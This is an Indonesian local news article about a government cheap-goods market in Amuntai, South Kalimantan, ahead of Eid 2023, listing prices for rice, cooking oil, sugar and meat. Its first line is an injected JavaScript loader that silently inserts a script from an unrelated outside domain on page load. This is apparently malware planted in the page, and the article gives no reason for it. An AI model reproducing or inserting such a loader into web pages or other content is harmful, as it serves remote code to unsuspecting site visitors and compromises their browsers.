(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pasar Murah Disdag Kalsel, Minyak, Beras, dan Daging Jadi Buruan Warga Amuntai

KANALKALIMANTAN.COM, AMUNTAI – Jelang Idul Fitri 1444 Hijriyah, ratusan warga Hulu Sungai Utara (HSU) menyerbu stand pasar murah yang digelar Dinas Perdagangan (Disdag) Provinsi Kalimantan Selatan (Kalsel) di halaman Masjid Fardatul Jannah di Desa Kota Raja, Kecamatan Amuntai Selatan, Rabu (18/4/2023).

Disamping bahan pokok (Sembako) murah, minyak goreng, beras dan daging menjadi primadona buruan ibu-ibu.

Kepala Disdag Kalsel, Birhasani menuturkan giat pasar murah ini bertujuan untuk membantu masyarakat yang ingin mempersiapkan kebutuhan Idul Fitri namun terbatas dalam anggaran belanja.

“Paling diminati (masyarakat) adalah beras kerena harganya lebih murah dibandingkan di pasar. Kemudian gula, minyak goreng dan daging,” katanya.

Birhasini menjelaskan, di pasar murah yang diadakan di wilayah HSU, harga bahan pokok seperti minyak goreng kemasan Alif 2 liter dijual dengan harga Rp 31ribu, untuk minyak goreng kemasan merk Minyakita 1 liter dijual dengan harga Rp 14 ribu.

Sementara itu, tepung kemasan dijual dengan harga Rp 10ribu dan gula kemasan premium dijual dengan harga Rp 13.500. Sedangkan untuk beras ukuran 5kg medium dijual Rp 45 ribu,- dan untuk beras premium ukuran 5kg dijual Rp 65ribu, begitu pula dengan daging yang dijual dengan harga Rp 80ribu per kilogram.

Salah satu warga, Fathul Jannah mengaku sangat terbantu dengan harga-harga yang ditawarkan di pasar murah kali ini

Dirinya berharap agar pemerintah bisa lebih sering mengadakan kegiatan pasar murah untuk membantu masyarakat yang membutuhkan.

“Kalau bisa satu bulan sekali diadakan pasar murah ini, bahkan setiap minggu jika memungkinkan,” tukasnya. (kanalkalimantan.com/dew)

Reporter: dew
Editor: cell